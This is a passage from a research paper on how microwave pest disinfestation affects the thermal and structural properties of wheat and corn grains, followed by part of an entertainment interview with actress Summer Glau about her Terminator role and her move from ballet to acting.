room conditions and used, depending on the characterization type, as received or in milled form (fine powders were achieved by using a grinder, powders were sieved by using a 200 μm mesh size sieve).", "\n\n2.2. ", "Microwave Treatments {#sec2dot2-foods-09-00711}\n-------------------------\n\nDielectric properties, i.e., ε′, dielectric constant, accounting for how much energy is stored in the material; ε″, loss factor, measuring the overall energy dissipated in irradiated material; and, as a consequence, *D*~p~, the penetration depth, indicating the spatial distribution of the dissipative phenomena, of untreated milled grains, in bulk density conditions, were assayed adopting a network analyzer (Agilent Technologies mod ES 8753, Milano, Italy) equipped by a coaxial measuring probe (Agilent Technologies mod 85070D). ", "The range error of the method was \\~5%; measurements were performed after a calibration procedure (with three standards: air, shorting block, and water); moreover, measurement accuracy was validated using water at 20 °C. ", "Approximately 10--12 g of milled grains (roughly 10 cm in sample thickness) was put in a glass vessel with a diameter lightly larger than that of the probe (19 mm). ", "The probe was carefully placed on a flat sample surface without perturbing the density and avoiding air gaps. ", "Results were reported as average values of three measures with standard deviation (SD).", "\n\nMoisture content percentage (% on a wet basis, wb) of not treated powders (milled grains) was measured by the Ohaus moisture analyzer mod MB45 (Parsippany, NJ, USA).", "\n\nThe microwave treatment of cereals seeds was performed in a multimodal microwave cavity (LBP 210/50 Microwave Oven 2300 W, InLand, IL, USA; operative frequency: 2.45 GHz) with two integrated mode stirrers and equipped by the True-To-Power™ system, for a continuous variation of the power supply. ", "The seeds were put in a Pyrex vessel (diameter × height: 11 cm × 6 cm), placed at the center of the cavity (nominal dimensions' d × h × w: 53.5 × 33.0 × 25.1 cm). ", "The penetration depth (*D*~p~) was considered as the maximum limit for the thickness of the seeds layer to be subjected to microwave treatment. ", "A temperature between 60 and 75 °C (both surface and bulk temperature were measured by the Simpson mod. ", "IR-10 infrared pyrometer, Milano, Italy), i.e., over the lethal temperature of typical weeds of wheat \\[[@B21-foods-09-00711]\\] and corn \\[[@B22-foods-09-00711]\\], was needed for an effective treatment. ", "Taking into account that most species will not survive more than 1 min at 55 °C and 20 s at 65 °C \\[[@B23-foods-09-00711]\\], matrices were exposed to a microwave protocol characterized by a power of 1000 W to obtain a temperature between 60 and 75 °C at least for 20 s: they were indicated as \"Effective-treated Matrices\" (EM). ", "An UnControlled Treatment (UCM) was also tested, again setting the power at 1000 W, but prolonging for three times the effective treatment time. ", "UNtreated matrices (UN) were used as control.", "\n\n2.3. ", "Powder Properties {#sec2dot3-foods-09-00711}\n----------------------\n\n### 2.3.1. ", "Thermal Properties {#sec2dot3dot1-foods-09-00711}\n\nThe behavior of food to the heat was investigated by measuring volumetric heat capacity *C* (J·kg^−1^·K^−1^), thermal conductivity *K* (W·m^−1^·K^−1^), and thermal diffusivity *D* (mm^2^·s^−1^). ", "The measure-probe of KD2 Pro, Decagon Devices was introduced in the bulks (in conditions of free and tapped) of milled UN, EM, and UCM matrices.", "\n\nBulk density (after free flowing), ρ~B~, defined as the ratio between sample mass/occupied volume without compacting, and tapped density, ρ~T~, i.e., the ratio between sample mass/occupied volume after mechanical tapping were measured on milled grains (for thermal properties measures) following the standard ASTM D7481-09.", "\n\nWater contents of milled UN, EM and UCM matrices were measured in the Ohaus moisture analyzer (mod MB45). ", "The results were reported as mean values of three measures with SD standard deviation.", "\n\n### 2.3.2. ", "TGA and DSC {#sec2dot3dot2-foods-09-00711}\n\nThermogravimetric analysis (TGA) was performed in the Mettler-Toledo TGA/SDTA851 thermogravimetric analyzer (Mettler - Toledo, Milano, Italy) by increasing temperature in the range 30 to 1100 °C (heating rate: 10 °C·min^−1^) under air atmosphere (to detect ashes) or only nitrogen environment (gas flow rate of 60 mL min^−1^). ", "Differential scanning calorimetry (DSC) was done by the METTLER TOLEDO DSC 822e thermal analyzer from 0 to 500 °C (heating rate of 5 °C·min^−1^; pure nitrogen environment was used).", "\n\nTGA and DSC measurements were performed on milled samples (UN, EM, and UCM) and gave more information about the thermal stability of the analyzed cereals.", "\n\n2.4. ", "Grain Properties {#sec2dot4-foods-09-00711}\n---------------------\n\n### 2.4.1. ", "Size, Moisture, Density {#sec2dot4dot1-foods-09-00711}\n\nGrain size variations (length, width, and thickness), before (UN) and after microwave heating processes (EM and UCM), before and after cooking treatments (described in [Section 2.4.5](#sec2dot4dot5-foods-09-00711){ref-type=\"sec\"}), were assessed by a manual meter on several dozen randomly selected grains. ", "The results were reported as mean values with SD standard deviation.", "\n\nBulk and tapped density determination and moisture analysis content on seeds were performed as above reported for milled grains ([Section 2.3.1](#sec2dot3dot1-foods-09-00711){ref-type=\"sec\"}).", "\n\n### 2.4.2. ", "Germination Capability {#sec2dot4dot2-foods-09-00711}\n\nSprouting test was conducted by placing several dozens of seeds (for UN, EM, and UCM samples) in Petri plates on well moisturized wadding, at room conditions, and moistening daily for 5 days of observation. ", "The presence of a 0.5 cm minimum length sprout was used as sprouted grain referring. ", "The percentage germination of seeds (defined as the percentage ratio between the germinated seeds and the total used grains), was thus assessed by measurements performed in triplicate. ", "The germination capability was thus reported as average values with standard deviation SD.", "\n\n### 2.4.3. ", "Water Uptake and Mineral Losses {#sec2dot4dot3-foods-09-00711}\n\nWater uptake (or swelling tests) test was made on seeds (all the kinds of samples) to measure water absorption capability; mineral losses was assayed measuring electrolytes leaching in the soaking water \\[[@B24-foods-09-00711]\\]. ", "Several dozen seeds were immersed in 100 mL of distilled water at ambient conditions for a maximum of 24 h. The soaked seeds were then put on paper after a certain interval of time to remove excess water, weighed and put back into the water. ", "The swelling ratio was reported as a percentage of the absorbed water:$$swelling~ratio\\% = absorbed~water{~\\%~} = \\frac{soaked~seeds~weight - initial~seeds~weight}{initial~seeds~weight} \\times 100$$\n\nThe water absorption measurements were made in triplicate; the results were reported as mean values with SD standard deviation.", "\n\nElectrolytes losses have been measured during the swelling runs through the mineral concentrations of the soaking solutions, whose conductivity increases were analyzed by the Crison Basic GLP 31 conductivity meter. ", "The increase in the conductivity of the solution (µS/cm) was defined as the difference between the conductivity measured at time t and the water initial conductivity (at time t~0~). ", "Conductivity measurements were performed in triplicate; the results were reported as mean values with SD standard deviation.", "\n\n### 2.4.4. ", "Tissue Structure Analysis {#sec2dot4dot4-foods-09-00711}\n\nTo investigate eventual changes on parenchymal structure of UN, EM, and UCM samples, many of the different seeds were swollen in water for 17 h, frozen by immersion in a gel at −20 °C, and transversally cut to obtain thin films of 5 μm. ", "Optical microscope (Leica DM-LP, 10× objective, Milano, Italy) imagines were performed with the purpose of observing the typical internal structure of cereals with packed cells filled with starch granules cemented by a solubilized protein network after immersion \\[[@B25-foods-09-00711]\\].", "\n\n### 2.4.5. ", "Cooking Treatments and Structure Related Measurements {#sec2dot4dot5-foods-09-00711}\n\nA typical cooking treatment, by first soaking the UN, EM, and UCM seeds in water for 17 h and then cooking them for 2 h, was applied. ", "Grain characterization was carried out after the immersion and after cooking for 1 h, 1.5 h, and 2 h. In particular, seed water content and size variation were measured as previously reported in [Section 2.4.1](#sec2dot4dot1-foods-09-00711){ref-type=\"sec\"}. ", "Seed dimension increase % (i.e., length, width and thickness increases, %) was evaluated by $$dimension~increase{~\\%} = \\frac{dimension~at~time~t - initial~dimension}{initial~dimension} \\times 100$$\n\nMoreover, penetration and compression tests were performed on cereals with the aim to evaluate eventual modifications of peel strength and tissue architecture after both swelling and cooking due to the microwave treatment. ", "The TA.XTplus texture analyzer (Stable Micro Systems Ltd., Godalming, UK, equipped by a loading cell of 5 kg) was used; the P2N needle probe and the P/20N cylinder probe were used for penetration and compression tests, respectively. ", "Penetration and compression force on a single UN, EM, and UCM seed, placed with the cotyledon crease parallel to the support surface, after swelling (for 17 h) and after the selected cooking intervals (1 h, 1.5 h, and 2 h), were measured setting a probe speed of 0.05 mm/s and a strain percentage of 70% in penetration tests and of 90% in compression tests. ", "Three parameters were considered for the penetration assessment: the penetration force (kg), the peel elasticity (% strain), and the slope after peak. ", "The penetration force, or peel hardness, was defined as the peak of the curve \"force vs. strain\" \\[[@B26-foods-09-00711]\\]. ", "The peel elasticity, i.e., how much the peel resists before rupture, was given by the strain at the penetration force. ", "The curve after the peak can be seen as a straight line, thus its slope was an index of the firmness of internal structure (higher the slope larger the compactness). ", "The compression test was performed following the standard ASAE 5368.3 \"Compression Test of Food Materials of Convex Shape\", and three important values were obtained \\[[@B27-foods-09-00711]\\]: the elastic module; the bioyield point or break point of the microstructure; and the rupture point, that is, the break point of the macrostructure.", "\n\n2.5. ", "Statistical Analysis {#sec2dot5-foods-09-00711}\n-------------------------\n\nT test was used to evaluate the experimental data significance. ", "It was applied (by Excel data sheet) to confront powder and grain measured properties. *", "p*-value represents the probability that differences between two measured values samples are casual or not: if *p* \\< 0.05, there is difference between two values (UN vs. EM or UN vs. UCM sample characteristics), on the contrary, if *p* \\> 0.05, the two values are comparable.", "\n\n3. ", "Results and Discussion {#sec3-foods-09-00711}\n=========================\n\n3.1. ", "Microwave Treatments {#sec3dot1-foods-09-00711}\n-------------------------\n\nBefore exposing cereals seeds to microwave heating protocols, the dielectric properties of milled seeds were measured with the aim to understand matrices ability to interact with the electromagnetic field. ", "Dielectric properties measurements are shown in the [Supplementary Material Figure S1](#app1-foods-09-00711){ref-type=\"app\"}, with relevant values of moisture and bulk density for each sample. ", "In particular, the dielectric constants, ε′, at the most common operative frequency of 2.45 GHz, of both durum wheat and corn were of 2.39 (moisture content 6.3% wb) and 2.6 (moisture content 10.5% wb), respectively, close to the values found in \\[[@B28-foods-09-00711]\\] for milled similar products with the same moisture (for hard red winter wheat, ε′ \\~2.3 with a moisture of \\~6.5%; for corn, ε′ \\~2.8 with a moisture of \\~10.5%). ", "Moreover, the value of ε′ = 2.9 at 2.45 GHz for weak wheat was similar to the ε′ = 2.84 found in similar conditions by \\[[@B29-foods-09-00711]\\]. ", "Thus, a volumetric heating was assured using a seeds layer of 4 cm (the penetration depth, *Dp*, calculated from them by the Equation (2), was roughly 7 cm). ", "Surface temperatures were measured during both effective (EM) and uncontrolled (UCM) treatments ([Supplementary Material Figure S2](#app1-foods-09-00711){ref-type=\"app\"}): the effective treatment (EM) was performed up to the attainment of the maximum temperature of 75 °C for 105 s, 75 s, and 100 s, the UCM one was prolonged up to 315 s, 225 s, and 300 s, reaching a final temperature of 150 °C, respectively, for weak wheat, durum wheat, and corn. ", "During the microwave treatment, the temperatures reached by pests, which have a larger content of water, will be higher than the temperatures of matrices, allowing the treatment to kill them.", "\n\n3.2. ", "Powder Properties {#sec3dot2-foods-09-00711}\n----------------------\n\nThermal properties are fundamental to predict energy transfer rates in foods, thus they affect food processes, such as cooking or drying, storage, and final quality of foods \\[[@B30-foods-09-00711]\\]. ", "The three thermal characteristics---specific heat and thermal diffusivity and conductivity---in tapped density conditions for UN, EM, and UCM, three types of cereals, are shown in [Figure 1](#foods-09-00711-f001){ref-type=\"fig\"} (their values in bulk conditions were not shown because were similar before, UN, and after the two microwave heating, EM and UCM).", "\n\nIn the literature, it was found that thermal conductivity ([Figure 1](#foods-09-00711-f001){ref-type=\"fig\"}A) increased with increasing both moisture and density \\[[@B31-foods-09-00711],[@B32-foods-09-00711]\\]. ", "In effect, for both weak wheat and corn, moisture and tapped density after EM treatment were kept unchanged in the range 10 to 11% and 0.7 to 0.77 g/mL respectively, thus thermal conductivity values were similar between UN and EM samples. ", "Instead, after UCM treatment, both weak wheat and corn were subjected to the lowering of moisture to \\~6% and of tapped density, especially for corn to 0.67 g/mL, causing a visible reduction of thermal conductivity (comparison between UN and UCM thermal conductivity gave *p* \\< 0.05). ", "For durum wheat, both moisture and tapped density were comparable among UN, EM, and UCM samples and, as a consequence, also the relevant values of thermal conductivity (UN vs. EM and UN vs. UCM gave *p* \\> 0.05). ", "The behavior of specific heat was similar to that of thermal conductivity ([Figure 1](#foods-09-00711-f001){ref-type=\"fig\"}B). ", "Values of specific heat are in line with literature values for cereals \\[[@B33-foods-09-00711]\\]. ", "Thermal diffusivity ([Figure 1](#foods-09-00711-f001){ref-type=\"fig\"}C) was proven to decrease by increasing the moisture content and decreasing density \\[[@B32-foods-09-00711]\\]. ", "Thus, the compensation of these two effects in UCM samples of both weak wheat and corn (i.e., decreasing of moisture and of tapped density, which should increase and decrease respectively the thermal diffusivity) kept essentially unchanged the thermal diffusivities for the UN, EM and UCM samples (*p* \\> 0.05). ", "Moreover, a low number of literature works deals with thermal properties of cereals at conditions of density and moisture similar to ours. ", "However, the authors of \\[[@B34-foods-09-00711]\\] found a thermal diffusivity in the range 0.099 to 0.104 mm^2^/s for wheat flour with around 12% of moisture and a density of 0.784 g/mL. Moreover, the authors of \\[[@B35-foods-09-00711]\\] found a similar value of diffusivity. ", "In similar conditions of moisture (both UN and EM of about 10--11%) and density (tapped density of both UN and EM in the range 0.74 to 0.77 g/mL), we measured a thermal diffusivity of 0.095. ", "TGA analysis gave information about moisture and ashes ([Supplementary Material Figure S3A](#app1-foods-09-00711){ref-type=\"app\"}), which were similar for the three analyzed samples (UN, EM, and UCM). ", "In effect, the initial weight losses were of \\~7%, values confirmed by moisture analysis performed by both Ohaus instrument (UN = 6.3 ± 0.4% wb; EM = 8.0 ± 0.4% wb; UCM = 7.3 ± 0.3% wb) and literature \\[[@B36-foods-09-00711]\\]. ", "The second important mass loss resulting from thermal decomposition occurred between temperatures of 200 °C and 800 °C \\[[@B37-foods-09-00711]\\] and distinct mass loss occurred between 200 and 400 °C due to cellulose devolatization, which is a dominant phenomenon in comparison to hemicellulose and lignin pyrolysis \\[[@B38-foods-09-00711]\\]. ", "At the end of pyrolysis, the remained ash content was observed to be of \\~3--5% for all the three samples.", "\n\nAlso DSC thermograms were similar for all the analyzed matrices ([Supplementary Material Figure S3B](#app1-foods-09-00711){ref-type=\"app\"}): they showed an endothermic peak, which starts before 100 °C, due to moisture losses; successively an exothermic peak nearby 300 °C and 350 °C, indicators of degradation phenomena of the seed coat cellulose \\[[@B39-foods-09-00711]\\].", "\n\n3.3. ", "Grain Properties {#sec3dot3-foods-09-00711}\n---------------------\n\nThe grain size of the three analyzed matrices was not affected by the effective (EM) or by the uncontrolled (UCM) microwave heating (data not shown). ", "By contrast, the three matrices were subjected to a reduction in bulk and tapped density after the uncontrolled treatment (*p* \\< 0.05 if compared with UN samples), as shown in [Table 1](#foods-09-00711-t001){ref-type=\"table\"}.", "\n\nThis effect could be a result of the expansion and cracking of endosperm due to the higher temperatures reached in UCM samples. ", "In effect, density is frequently used as an indirect indicator of the corneous endosperm content in corn because the corneous endosperm is very dense, while floury endosperm is full of microcracks or empty spaces, thus less dense \\[[@B40-foods-09-00711]\\]. ", "Quality of weak wheat was the most affected after UCM treatments, due to a reduction in both moisture and weight (*p* \\< 0.05), corn had only reduced moisture (*p* \\< 0.05), instead durum wheat kept unchanged both (*p* \\> 0.05). ", "Moreover, the look of cereals matrices was prejudiced by uncontrolled microwave heating that caused a browning because of the high temperatures reached in UCM samples.", "\n\nThe germination capability was an indication of protein denaturation and starch recovery \\[[@B41-foods-09-00711]\\] and it was largely influenced by microwave treatment ([Table 2](#foods-09-00711-t002){ref-type=\"table\"}). ", "In particular, it is observed that germination capability decreased as exposure time increased \\[[@B22-foods-09-00711],[@B42-foods-09-00711]\\]. ", "Thus, the effective treatment (EM) caused a visible reduction in germination especially for corn (with an already low level of germination in untreated samples UN because corn germination needs a minimum room temperature of 12 °C compared to wheat that starts to germinate also at 2--4 °C), but also for weak wheat, having EM treatment times of respectively 100 s and 105 s. EM durum wheat kept intact its germination rate for the lower treatment time of 75 s. Then, the uncontrolled treatment (UCM) caused for all the three matrices a lack of germination due the disruption of cell content integrity for the very high temperatures, as already observed by densities reduction.", "\n\nThe analysis of parenchymal internal structure confirmed the germination tests results.", "\n\nAs an example, durum wheat and corn pictures are shown in [Figure 2](#foods-09-00711-f002){ref-type=\"fig\"} (up and down, respectively): the endosperm of both UN and EM wheat and corn seeds showed a compact structure of densely packed cells filled with starch granules firmly cemented by a protein network, always solubilized after soaking. ", "In UCM wheat and corn, denatured proteins covering a more compact structure made of highly gelatinized and deformed granules within the kernel were visible for the too much high temperatures of the treatment, as already observed by \\[[@B43-foods-09-00711]\\] for corn flour. ", "In particular, intra-grain cracks were shown in UCM samples of durum wheat ([Figure 2](#foods-09-00711-f002){ref-type=\"fig\"}, up). ", "It was shown that higher gluten protein seeds (wheat) seem to tolerate higher levels of starch damage \\[[@B44-foods-09-00711]\\], instead in UCM samples of corn ([Figure 2](#foods-09-00711-f002){ref-type=\"fig\"}, down), the disappearance of the starch granules (that are present in higher percentage in corn), caused a more porous structure. ", "This behavior affected swelling properties ([Figure 3](#foods-09-00711-f003){ref-type=\"fig\"}).", "\n\nIn particular, all the three durum wheat samples (UN, EM, and UCM) had a similar behavior ([Figure 3](#foods-09-00711-f003){ref-type=\"fig\"}B), EM for the low treatment time and UCM perhaps for the two opposing effects of a more compact structure (high gelatinization) and the presence of cracks, that make its swelling and mineral leaching behavior similar to UN and EM. ", "On the contrary, UCM samples of weak wheat ([Figure 3](#foods-09-00711-f003){ref-type=\"fig\"}A) and corn ([Figure 3](#foods-09-00711-f003){ref-type=\"fig\"}C) absorbed water and lost minerals more rapidly than EM and UN ones, thus confirming the not more compact structure of UCM samples after high temperature treatments. ", "Using the Peleg equation (it was used to regress the water content vs. the soaking time: $\\frac{t}{M - M_{0}} = K_{1} + K_{2}\\cdot t$, in which *t* is the time (h); *M* and *M*~0~ are the water content and the initial water content, respectively (% on dry basis); *K*~1~ indicates the Peleg rate constant (h %^−1^), correlated to the mass transfer rate, i.e., lower the *K*~1~, the higher the initial water absorption rate; and *K*~2~ represents the Peleg capacity constant (%^−1^), correlated to the maximum moisture absorption capability, thus the lower the *K*~2~, the higher the water absorption capacity \\[[@B16-foods-09-00711],[@B25-foods-09-00711]\\]), it can be seen that the constant *K*~1~ for all the three matrices ([Figure 3](#foods-09-00711-f003){ref-type=\"fig\"}D) was lower for all the UCM samples, therefore the initial water uptake rate was higher for them. ", "Instead *K*~2~, i.e., the water absorption capacity, was similar for untreated and treated samples. ", "Finally it must be noticed that, this starch damage affected not only water absorption, but also handling properties of the dough, sugar production, slackening during fermentation, loaf volume and crumb tenderness \\[[@B44-foods-09-00711]\\].", "\n\nGrain properties, in particular moisture increase and size variation, were also evaluated during the stages of common cooking preparation treatment: after a first pretreatment of swelling in water for 17 h, and after cooking for 1 h, 1.5 h and 2 h (even if the grains of both weak wheat and corn lost their shape after 1.5 h of cooking). ", "Moisture content change (data not reported) behavior was similar for the untreated and treated samples of the three matrices (as the previously deduced by the comparable values of *K*~2~ indicating an analogous water up-take capability), i.e., the moisture % increased up to 1.5 h of cooking and then kept constant at \\~60--70%. ", "Cooking influenced very little the length of the three samples, but largely both their width and thickness (data not shown), confirming the radial entrance of water. ", "Cooking obviously modified peel strength and internal structure of the three matrices, as visible by penetration and compression tests. ", "Results from penetration and compression tests between grains only soaked for 17 h (first step of cooking) and grains subjected to 1 h of cooking (after the soaking, thus second step of cooking) were compared in [Figure 4](#foods-09-00711-f004){ref-type=\"fig\"}. ", "It is evident that the cooking process (after 1 h) caused: a light reduction of the penetration force for all the three analyzed matrices and a light increase (for weak and durum wheat) or a constancy (for corn) of the corresponding peel elasticity (strain % at the penetration force) ([Figure 4](#foods-09-00711-f004){ref-type=\"fig\"}A) and of the slope after the curve ([Figure 4](#foods-09-00711-f004){ref-type=\"fig\"}B). ", "The elastic modulus ([Figure 4](#foods-09-00711-f004){ref-type=\"fig\"}C) decreased for all the three matrices after 1 h of cooking. ", "Statistically, UN, EM, and UCM had mostly the same behavior at penetration tests; however, in the compression tests, the elastic modulus was comparable for UN, EM, and UCM weak wheat samples, but it had an opposite behavior for the other two matrices. ", "In particular, the elastic modulus was lower for UCM samples of durum wheat (compared to both UN and EM, especially to UN) at both 17 h soaking and 1 h cooking, confirming the increased elasticity after uncontrolled heating (the compact cells filled with starch granules strongly sticked by a protein matrix observed by optical microscope). ", "The UCM corn samples had, on the contrary, an elastic modulus higher than UN, confirming the formation of a more porous internal structure ([Figure 4](#foods-09-00711-f004){ref-type=\"fig\"}, down).", "\n\n4. ", "Conclusions {#sec4-foods-09-00711}\n==============\n\nIn this work, the thermo-physical and structural properties of three cereal matrices---weak wheat, durum wheat, and corn---were investigated after microwaves treatments, intended for pest disinfestation. ", "In particular, two microwave protocols were developed and applied: an effective microwave treatment (EM), ensuring a temperature in cereal mass of \\~60--75 °C for at least 20 s (time-temperature couple able to eliminate insects, as observed in literature) and a more drastic, named uncontrolled, microwave treatment (UCM), performed by prolonging the irradiation time up to three times that used for effective treatment. ", "The application of the two different microwave protocols to cereal grains of durum wheat, weak wheat, and corn caused no substantial modification on the heat transport properties, instead drastic treatment (UCM) compromised the nutritional (loss of minerals), sensorial (fragile texture) and germination (poorer amyliferous reserve) features. ", "The novelty of this work is thus found in providing new structural and heat transport data of cereals after microwave treatments; moreover, it was also demonstrated that only suitable microwave treatments can guarantee both effective sanitation and maintenance of the nutritional and sensory properties of cereal matrices.", "\n\nAcknowledgments are due to TECNAGRI---PSR Campania 2007--2013 Misura 124 financed project, and to Improsta experimental regional agricultural company (Eboli-SA-Italy).", "\n\nThe following are available online at <https://www.mdpi.com/2304-8158/9/6/711/s1>, Figure S1: Permittivity, i.e. dielectric constant (Re) and loss factor (Im) for milled weak wheat (closed and open squares, respectively), durum wheat (closed and open triangles, respectively), corn (closed and open circles, respectively), and moisture contents; Figure S2: Behavior of surface temperature with time for weak wheat (squares), durum wheat (triangles), corn (circles), initial moisture contents, and both effective (EM) and uncontrolled (UCM) treatment times; Figure S3: TGA curves in presence of air in A) and DSC curves in B) for UN (black), EM (dark gray), and UCM (light gray).", "\n\n###### \n\nClick here for additional data file.", "\n\nConceptualization, A.A.B.; Data curation, A.D.; Formal analysis, A.D.; Investigation, C.N. and A.D.; Project administration, A.A.B.; Resources, S.C.; Supervision, A.A.B., G.L. and M.d.", "A.; Writing---original draft, A.D.; Writing---review & editing, A.A.B., G.L. and A.D. All authors have read and agreed to the published version of the manuscript.", "\n\nThis research received no external funding.", "\n\nThe authors declare no conflict of interest.", "\n\n{#foods-09-00711-f001}\n\n###### \n\nImages performed at optical microscope (10× objective) of transversal layers of 5 μm, cut from UN, EM, and UCM durum wheat grains (**up**) and corn grains (**down**), first immersed in water for 17 h and then frozen at −20 °C.", "\n\n![](", "foods-09-00711-g002a)\n\n![](", "foods-09-00711-g002b)\n\n{#foods-09-00711-f003}\n\n###### \n\nPenetration and compression tests results for the three analyzed matrices: comparison of the penetration force and the relevant strain % (**A**) and the slope after the peak (**B**) for the penetration test, and of the elastic modulus (**C**) for the compression test between samples after 17 h swelling and 1 h cooking.", "\n\n![](", "foods-09-00711-g004a)\n\n![](", "foods-09-00711-g004b)\n\nfoods-09-00711-t001_Table 1\n\n###### \n\nMoisture content, bulk density, and tapped density for untreated (UN), effective treated (EM), and uncontrolled treated (UCM) seeds of weak wheat, durum wheat, and corn (standard deviation (SD)).", "\n\n Weak Wheat UN EM UCM\n ---------------------------------- --------------- --------------- -------------\n Bulk (tapped) density, g/mL ± SD 0.74 ± 0.01 0.73 ± 0.02 0.55 ± 0.00\n (0.77 ± 0.01) (0.76 ± 0.03) (0.57 ± 0.01) \n **Durum wheat** **UN** **EM** **UCM**\n Moisture, % wb ± SD 1.24 ± 0.19 1.16 ± 0.09 0.96 ± 0.09\n Bulk (tapped) density, g/mL ± SD 0.80 ± 0.01 0.79 ± 0.01 0.59 ± 0.03\n (0.84 ± 0.01) (0.83 ± 0.01) (0.62 ± 0.01) \n **Corn** **UN** **EM** **UCM**\n Moisture, % wb ± SD 0.83 ± 0.19 0.44 ± 0.11 0.23 ± 0.08\n Bulk (tapped) density, g/mL ± SD 0.65 ± 0.01 0.60 ± 0.01 0.55 ± 0.01\n (0.65 ± 0.01) (0.60 ± 0.01) (0.56 ± 0.03) \n\nfoods-09-00711-t002_Table 2\n\n###### \n\nGermination percentage (±SD) for UN, EM, and UCM samples of weak wheat, durum wheat, and corn.", "\n\n Weak Wheat \n ----------------- -------- ---------\n 100 ± 0 59 ± 2 0\n **Durum wheat** \n **UN** **EM** **UCM**\n 88 ± 2 93 ± 3 0\n **Corn** \n **UN** **EM** **UCM**\n 30 ± 5 7 ± 7 0\n" ]

{ "pile_set_name": "PubMed Central" }

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[ "Summer Glau\n\nSummer Glau started acting professionally when she\nwas 21, but for her, that was practically a late-life career change: From early\nchildhood, she'd planned to be a ballerina, and she was home-schooled from\nthird to 12th grade to accommodate her intensive training schedule. ", "She\ntransitioned into acting with a guest role—as a ballerina,\nnaturally—on Joss Whedon's Angel, which led to a co-starring role as River\nTam in his next series, Firefly, and the big-screen spin-off, Serenity. ", "She's also had recurring\nroles on The 4400\nand The Unit,\nin addition to one-off parts on CSI and Cold Case. ", "Currently, Glau is\nappearing as Cameron, the almost-human, frequently fighting \"good\" Terminator\non Fox's Terminator: The Sarah Connor Chronicles. (", "The two-hour season finale airs March 3.) ", "Glau recently\nspoke with The A.V. Club about how a\ncamel saddle took her from dancing to acting, and why she worries people might\nthink she's a hack.", "\n\nThe A.V. Club: What was the audition for the Terminator series like?", "\n\nSummer Glau: Well, I was very nervous. ", "I thought I was\ngoing to be in a room of six-foot blondes. ", "I went in and I realized that Josh\nFriedman had written the pilot, and I'm a huge fan of his work. ", "I think he is a\ncreative genius, and if anyone could do this series, it was him. ", "So I was very,\nvery excited to have the opportunity to work with him, and he and I hit it off\nfrom the beginning. ", "I ended up going in and testing for the role, and going to\nthe network, and it was a good fit, once I understood the character.", "\n\nAVC: Was there a fight audition as well?", "\n\nSG: Josh knew that I had done martial arts in Serenity, and he had seen my\nfighting, so he knew I could do it. ", "I remember sitting in the lobby, after my\nstudio test, and I could hear them watching my fight scenes in the room, so I\nknew that that was a factor they wanted to make sure I had—physical\nability. ", "I grew up being a ballet dancer, so I'm very comfortable doing\nphysical roles, and that's one of the main reasons why I wanted to play\nCameron.", "\n\nAVC: The fighting styles on Terminator and Serenity are obviously very\ndifferent—flat-out brawls vs. controlled martial arts. ", "And then there's\nyour ballet experience. ", "Do the different kinds of training ever get in each\nother's way? ", "Did you have to unlearn things?", "\n\nSG: It's funny you should ask me, because I asked to\nhave a meeting with Joel Kramer—our stunt coordinator for Sarah Connor\nChronicles—because\nI wanted to know what sort of training I needed to play Cameron. ", "I remembered\nthe extremely strenuous process of learning all the martial arts for Serenity; I did the fight scenes\nmyself from start to finish, no cutaways, and I have to say, it's one of the\nhardest things I'd done in my life. ", "So I was bracing myself for that with Sarah\nConnor,\nbut when I met with Joel, I said, \"Well, how does the Terminator fight?\" ", "He\nsaid, \"Basically, you just pick things up and throw them, you run through\nwalls, and you shoot lots of fun guns. ", "I'm going to have you jump off of cars\nand things like that.\" ", "I said, \"Okay, that sounds great.\" [", "Laughs.] ", "He took me\nto the shooting range and taught me how to shoot a lot of different guns. ", "For\nthe most part, it's about learning how to crash through things safely, and\nprotecting each other when you're doing hand-to-hand fights, but there's no\nfinesse. ", "A Terminator doesn't need to do that, because they're always the\nstrongest person in the room.", "\n\nAVC: Do they ever get on your case about being\ntoo fancy, or having too much of a martial-arts stance?", "\n\nSG: No. ", "The one thing that Joel says is for me to not\nmake an expression. ", "I always want to scowl when I fight, and I don't have to do\nthat any more. ", "I wasn't supposed to do that in Serenity, either; Joss wanted me\nto look very serene, but when I get riled up to do a fight scene, I always get\na look on my face.", "\n\nAVC: Do you end up going through a lot of takes\nfor that? ", "It's got to be difficult if a shot involves smashing someone through\na wall, and you have the wrong facial expression.", "\n\nSG: We only get to do it once. ", "I have to be very, very\nfocused when we do our fight scenes. ", "You don't get to do a lot of different\ntakes, because so many things are getting broken. ", "It's funny, if you walk on\nour set, there's all these \"DO NOT TOUCH\" signs, because all our sets are\nbreakaways. ", "But it's really fun.", "\n\nAVC: Is it true you went into acting because\nyou hurt yourself and had to take a break from your dance career?", "\n\nSG: Yes, that's true.", "\n\nAVC: Had you ever considered acting before\nthat?", "\n\nSG: When I was little, I had a feeling that I was\ngoing to end up being an actress. ", "I spent a lot of time alone, I was a very shy\ngirl, and I would pretend I was telling someone about this new role that I got.", "\nI would just talk about it: \"I'm doing this movie \" or \"I'm playing this girl \"\nI never took any acting classes and I never went to school for it, because I\nwas dancing all the time. ", "But then I broke one of my toes, and I had really bad\ntendonitis in my heels already, so I lost all mobility on one of my feet. ", "I\ndanced on it broken for four months. ", "The way I broke it was, I had started\ntaking this little acting class, and I was reading a play, and the phone rang,\nand I scooped all the pages off the floor, and I ran and jumped over this camel\nsaddle we had in our living room, and I ran right into the fireplace.", "\n\nAVC: Did you say a \"camel saddle\"?", "\n\nSG: Yes. [", "Laughs.]", "\n\nAVC: Why did you have a camel saddle in your\nliving room?", "\n\nSG: My grandpa was a world traveler. ", "He was a pilot\nin the Air Force, and he picked up these camel saddles, and we had them in our\nliving room. [", "Laughs.] ", "But I jumped over one, and I had this script in my hand,\nand I couldn't see what I was running into, and that's how I smashed my foot.", "\nSo it was actually the play that got me in trouble in the first place. ", "It was\nmeant to be.", "\n\nAVC: How did you prepare yourself to switch\nfrom dancing to acting?", "\n\nSG: It was one of the most painful things I've ever\ndone, because when you're raised as a ballet dancer, you think that's the only\nthing people notice about you. ", "That's all I ever did. ", "And it was terrifying, I\nthought \"People won't even recognize me, people won't know how to describe me\nany more, people won't know how to say, 'Summer Glau, that girl who dances '\"\nBecause that's who I always was. ", "No one understood why I did it at the time. ", "I\nwas always the kid on scholarship, I was a soloist with my company, I'd been\nworking with the symphony since I was 14. ", "It was probably the craziest thing\nI'd ever done. ", "I just had a feeling that it was going to work out for me. ", "And\nthe thing about being a ballet dancer is, there comes a point when you have to\ndecide \"How much am I willing to sacrifice to keep dancing?\" ", "And I knew that it\nwas going to be extremely difficult if I wanted to move into a big company. ", "It\nwas going to be extremely difficult to have the career I dreamt about as a\nlittle girl. ", "It's so competitive; it's a 